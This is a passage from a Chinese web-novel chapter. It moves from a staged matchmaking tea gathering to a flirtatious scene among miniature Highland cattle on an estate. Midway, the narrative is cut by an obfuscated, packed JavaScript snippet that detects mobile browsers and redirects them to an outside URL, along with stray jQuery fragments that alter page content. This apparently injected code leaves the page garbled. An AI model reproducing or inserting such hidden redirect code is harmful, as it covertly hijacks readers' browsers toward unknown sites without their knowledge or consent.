简云杉顾不上叶恕的戏谑,她放下茶壶,从李家姐妹身后绕过来时无声双手合十求饶,嘴上说着“拜托拜托。”
叶恕悠闲靠在椅背上,给自己斟了一杯茶,目光看戏一样在几个人之间来回游走。
“听云杉姐说,谢厅最近在忙得很,难得下来清闲两日。”李知吟开口,声音不疾不徐,似是随口闲聊,却又暗含关切,“这庄园确实安静,是个养神的好地方。”
谢休度微一点头,语气平淡:“简总这里好空气,来躲躲清闲。”说完看了简云杉一眼。那一眼很淡,但简云杉被看得后背一凉,心虚地低下了头。
简云杉心里却暗暗叫苦,昨晚上李家那位夫人又亲自登门,话里话外托她行个方便,只说两个女儿仰慕谢、陈二位已久,想找个自然些的机会认识认识。简云杉本不想掺和这种事儿,可李国丰到底是一员封疆大吏,简家这种纯粹的商人不好得罪,李家和简家素来有些交情,他父亲那边也点了头,她实在是推脱不得。
她太知道这两位的脾气了,都是对的私事格外敏感的人,若是提前告知,这两位绝对脚底抹油,连个背影都不会给人家留。所以只能出此下策,搞这么一出偶遇。
李知言转向陈聿然,眉眼弯弯地说:“陈总的公司最近投了那个新能源项目,我看了新闻,觉得很有意思。没想到能在这里见到您,正好有几个问题想请教。”
陈聿然不紧不慢道:“李小姐过奖了。不过这今日是来休假的,不谈公事。”
语气温和,像一道软钉子,堵得恰到好处。
李知言也不尴尬,笑着点头:“是我唐突了,陈总勿怪。”
随即自然而然地转了话题,聊起这别墅的花木布局,建筑风格,进退有度,分寸拿捏得极好。
叶恕在旁边看得啧啧称奇。这李家姐妹倒不是绣花枕头,举止谈吐确实不俗,虽然动机太明确,但倒也不失为一桩不错的姻缘,毕竟他们这个圈子里的人,婚姻都是这么回事。
可惜啊可惜,她俩碰上的偏偏是谢休度和陈聿然,只怕是此路不通。
李知吟又找了个由头与谢休度攀谈,说起最近某个政策调整对地方经济的影响。她显然是做过功课的,观点不算浅薄,甚至在普通人里已经算得上优秀。但谢休度是天天在这个层面打交道的人,她那些所谓的见解在他听来不过是皮毛。他耐着性子听完,微微颔首表示赞许,却没有任何延伸讨论的意思,既不给李知吟继续深聊的机会,也不让场面冷下来显得失礼。
李知吟眼底掠过一丝不易察觉的失望,但很快被她用微笑掩去。她端起茶盏,指尖微微发白,力度比方才紧了几分。
陈聿然那边的情况也差不多。他始终保持着得体的礼貌,该笑的时候笑,该接话的时候接话,但那个度控制得十分精准,精准到任何一个明眼人都能看出,他只是纯粹在尽社交义务。
简云杉坐在中间,活像个被架在火上烤的泥塑菩萨。她一会儿给这个添茶,一会儿给那个递点心,试图用殷勤来弥补自己出卖朋友的罪过。
叶恕忍不住轻笑了一声。
笑声不大,但在这种看似热闹实则微妙的氛围里,显得格外突兀。
简云杉狠狠瞪了他一眼。
“咳,茶太烫,呛了一下。”叶恕面不改色地胡说八道。
另一边,因为得了简云杉的教训,周世杰没再纠缠离开了,只是离开前还不忘朝纪式如抛媚眼,“纪小姐,我有预感,我们会再见面的。”
气得许祈要冲上前跟他理论,被简秋林拦了下来。
“你拦我干什么?他在骚扰学姐你看不见吗?”
“我看见了。他是做的不对,不过……”简秋林说着看了纪式如一眼,“这赌约也不是一个人能达成的吧。”
纪式如大方迎上简秋林的目光,“是我答应跟他打赌的,我好好的骑着马,他要来骚扰我,我回击一二也不行吗?”
许祈立刻帮腔,“就是,都怪周世杰太讨厌了,学姐,你回击的很好。”
简秋林收回目光,没再说话。
许祈想到什么,“就是……学姐,原来你会骑马呀。”
不仅会,骑术还很厉害,把周世杰都远远甩在后面。
纪式如笑着看他,“是呀,我会骑马。”
“那……你为什么……”许祈挠挠头,表情茫然且困惑,“我不是指责你骗我的意思,我就是……”
纪式如转过身来,微微仰头看着许祈,嘴角挂着一个似笑非笑的弧度,冲他勾勾手指。
许祈忍不住低头凑近。
“再低一点。”
许祈将头更低了一些,两人之间的距离被拉地极近,他能闻见她身上的香气,看见她因为运动脸颊上残留着运动后的红晕,额头有几缕碎发被汗水沾湿,眼睛因为兴奋而亮晶晶的,像装了两颗星星。
许祈顿时感觉口干舌燥起来,耳后倏的漫上一片潮红。
纪式如捂着嘴,凑在他耳边说道:“因为我想让你带我骑马啊。”语气轻飘飘的,正如这初春的风。
许祈愣住了。
“想和你多接触接触,”她歪了歪头,尾音微微上扬,“不可以吗?”
理所当然的的口吻。
许祈的大脑在这一刻宕机。
站在两人身后的简秋林看见许祈本就有些泛红地耳朵在一瞬间爆红,呆愣愣地,整个人像只被煮熟的虾子。
简秋林发出极轻极短的一声笑,虽然没听见纪式如回答了什么,但冲许祈这个反应,结合他来时停对方说在教她骑马的事,他也猜得到一二。
纪式如听见了笑声,扭头看过来一眼,简秋林直视她,大有你能奈我何的意思。
纪式如没理他。
许祈却已经脑袋爆炸,根本没注意到简秋林的反应。他现在满脑子只有一句话在循环播放:“想和你多接触……想和你多接触……想和你多接触……”
什么意思?
她这句话什么意思?
她是不是……是不是喜欢他?
他呆呆地看着纪式如,她正看着他,表情坦坦荡荡的,甚至带着一点我就是在逗你的促狭。
许祈的心脏猛地跳了一下。
他以前一直觉得恋爱很没意思,很麻烦。女生很麻烦,谈恋爱更麻烦。看见朋友为了哄女朋友开心,大半夜跑出去买红糖姜茶,还乐颠颠得,他只觉得那些人脑子有病,有那时间不如多打两局游戏。
周世杰这种见个漂亮女人就走不动道的他更是不理解,他从不觉得自己需要恋爱,每个跟他表白的女生都会被他果断无情拒绝。
但现在许祈看着纪式如泛红的脸和发亮的眼睛,脑子里忽然冒出一个念头:如果是她的话……
好像……也不是不行。
她可以陪自己打游戏,陪自己去看比赛,她性格也很好,应该不会让他觉得麻烦……
这个念头像一颗小石子投进了平静的湖面,涟漪一圈一圈地荡开,荡得他心慌。
“你……”
纪式如却不等他说话,自顾自若无其事的转开话题,“少一个人咱们就别打游戏了,庄园里除了骑马,还有什么别的可以玩的吗?”
许祈从混乱的思绪里被拽了出来,眨了眨眼,“当、当然有,很多!”
他掰着手指头数:“有靶场可以射击,人工湖那里可以划船……”想起她还挺喜欢马的,他眼睛一亮,“庄园里养了一些宠物牛和宠物羊,还有狗!”
纪式如的眉毛微微扬起:“宠物牛?”
“嗯,迷你苏格兰高地牛,超级可爱,比狗还好撸!走,我带你去!”
许祈说着就来劲了,伸手想去拉她的袖子,想起刚才的对话,手悬在半空中犹豫了一下,他忽然意识到,女孩子的手是不能随便乱拉的,她喜欢自己,这样是不是会让她误会?
纪式如却主动把手放进他掌心,“好哇!快走,我已经迫不及待了!”
许祈手指微微蜷缩,然后握紧了那只手。
“对了,我还没给你们正式介绍呢!学姐,这是简秋林,我朋友,秋林哥,她就是我跟你说的那个打游戏特别厉害的学姐,纪式如。”
纪式如仔细上下打量了着简秋林,不愧是系统选中的攻略对象,长得很帅。“你好。”
“幸会。”简秋林微微颔首,声音低沉平稳。他的目光在她脸上停留了一瞬,然后移开了。
许祈觉得气氛好像有点微妙,但他没多想。他已经迫不及待地想带纪式如去看那些宠物牛了。
“走吧走吧!”他拽着纪式如的袖子,兴冲冲地往前走,嘴里絮絮叨叨,“你一定会喜欢它们的,特别特别可爱,跟大狗狗一样!”
宠物牧场在庄园的东南角,被一道低矮的白色木栅栏围着。
还没走近,纪式如就看到了那些毛茸茸的小东西。
苏格兰高地牛,还是迷你版的。
它们有的身高大概只到人的膝盖,圆滚滚的身体上覆盖着厚厚的、蓬松的长毛,浅金色的、红棕色的、黑白相间的像一团团移动的棉花糖。额前的刘海长长地垂下来,几乎盖住了眼睛,只露出粉色鼻头和嘴巴,看起来憨态可掬。
“它们好小。”纪式如蹲下来,一只浅金色的小牛正好从栅栏缝隙里探出头来,温热的鼻息喷在她手背上。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590942|204690||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“是专门培育的迷你品种。”许祈也蹲下来,伸出手指挠了挠那头小牛的下巴,小牛舒服得眯起了眼睛。
纪式如伸手摸了摸那头小牛的头顶,毛很厚很软,像摸着一团棉花,手指陷进去就看不见了。
“它们的毛为什么这么长?”她问。
“因为原产地苏格兰高地很冷,长毛可以御寒。”许祈说着,又指了指不远处一头红棕色的,“那头是公的,头上那对角看到没?牛角也小,不伤人,摸起来滑滑的。”
纪式如看了一下,果然那头小牛的头顶冒出了两个小小的凸起,刚冒出尖尖,像没发育完的小蘑菇。
“可爱。”她说。
“对了对了,你知道这种宠物牛最大的好处是什么吗?”
“什么?”
“可以随便撸!随便抱!使劲儿rua也不怕受伤。”许祈比划了一下,“你知道有时候看到特别可爱的小猫小狗,会想使劲揉它们、捏它们、把它们抱在怀里挤压吗?”
纪式如想了想,好像叫可爱侵略症,当人看到太可爱的东西,不只是想轻轻摸,还会想用力抱、用力揉、用力蹭,好像只有用点力气,才能把心里那种满得要溢出来的喜欢发泄出去。
许祈说着,已经一个跨步,利落从栅栏外翻进去了,然后朝纪式如伸出一只手,眼睛亮亮的,像邀请人一起玩的大狗。
纪式如搭上他的手,从善如流地也翻了进去。
这些宠物牛显然被养得很亲人,看到人不但不躲,反而慢悠悠地围过来,用湿润的鼻子拱他们的手,找吃的。
许祈蹲下身,一把搂住那头浅金色的小牛,把脸埋进它蓬松的长毛里,整个人陷了进去。
“你看,”他的声音从牛毛后面传出来,闷闷的,“好舒服!”
纪式如忍不住笑了。
她也蹲下来,抱住了另一头红棕色的小牛。毛茸茸的触感贴着脸颊,温热的,带着干草和阳光的气味。她揉了揉牛背,那厚实的手感确实让人上瘾,像是揉一团有温度的面团。
“是不是!”许祈从牛毛后面探出头来,一脸“我没有骗你吧”的表情。
她们在草地上和宠物牛玩了十来分钟。那些小牛被揉得舒服了,就开始蹭人,拱来拱去,把纪式如和许祈拱得东倒西歪。
不知道是谁先倒的,可能是纪式如被一头好奇的小牛顶了一下腿,也可能是许祈想扶她结果自己也没站稳。总之,两个人一起从牛的身边滚了下来,顺着草坡往下翻了两圈,在草地上压出一道歪歪扭扭的痕迹。
纪式如忍不住咯咯笑出声。
停下来的时候,纪式如在上,许祈在下。
她的双手撑在他肩膀两侧,膝盖抵在他腰侧,整个人趴在他上方。许祈的后脑勺枕在柔软的草地上,头发里缠了几根草屑,浅金色的刘海散落在额前。
四目相对。
风从远处吹过来,草叶在他们脸侧轻轻摇摆。
许祈的大脑在这一刻空白,他不知道自己该看哪里,她的眼睛好亮,里面倒映着他的影子。她的嘴唇好红,看起来很水润很好亲……
然后他看到她动了。
纪式如微微低头,朝他靠近,越来越近,近到他能感觉到她馥郁的气息,像羽毛一样轻拂过他的脸颊。她的睫毛垂下来,嘴唇微微张着,带着一点似笑非笑的弧度。
许祈的瞳孔微微放大了。
她在干什么?她是不是要亲我?
这个念头像一道闪电劈进了他的脑袋,把所有的理智都炸成了碎片。
她是不是真的喜欢我?
她是不是真的要亲我?
虽然……虽然他刚才确实觉得如果是她的话也不是不行……但是这会不会太快了?
她们才认识没多久,就这样……就这样……
心跳太快了,快到他觉得自己的心脏要从喉咙里蹦出来。脸上是滚烫的,耳朵是滚烫的,连呼吸都是滚烫的。他的手指不自觉地攥紧了身下的草,攥得太用力,指尖都陷进了泥土里。
她还在靠近。
许祈的大脑在天人交战。一个声音说:快躲开啊,你们才认识多久,不可以这样!另一个声音说:躲什么躲,如果要恋爱的话接吻不是迟早的事吗,你明明也很期待,还矫情什么?
他身体僵直着愣在那里,直到纪式如的脸离他只有不到三厘米的时候,他的心理防线终于彻底崩溃了。
他闭上了眼睛。
睫毛微微颤动着,像受惊的蝴蝶的翅膀。嘴唇抿了一下,又放松了,他紧张着,也期待的。
风又吹过来了,草地沙沙作响,近处的牛发出低沉的哞哞声。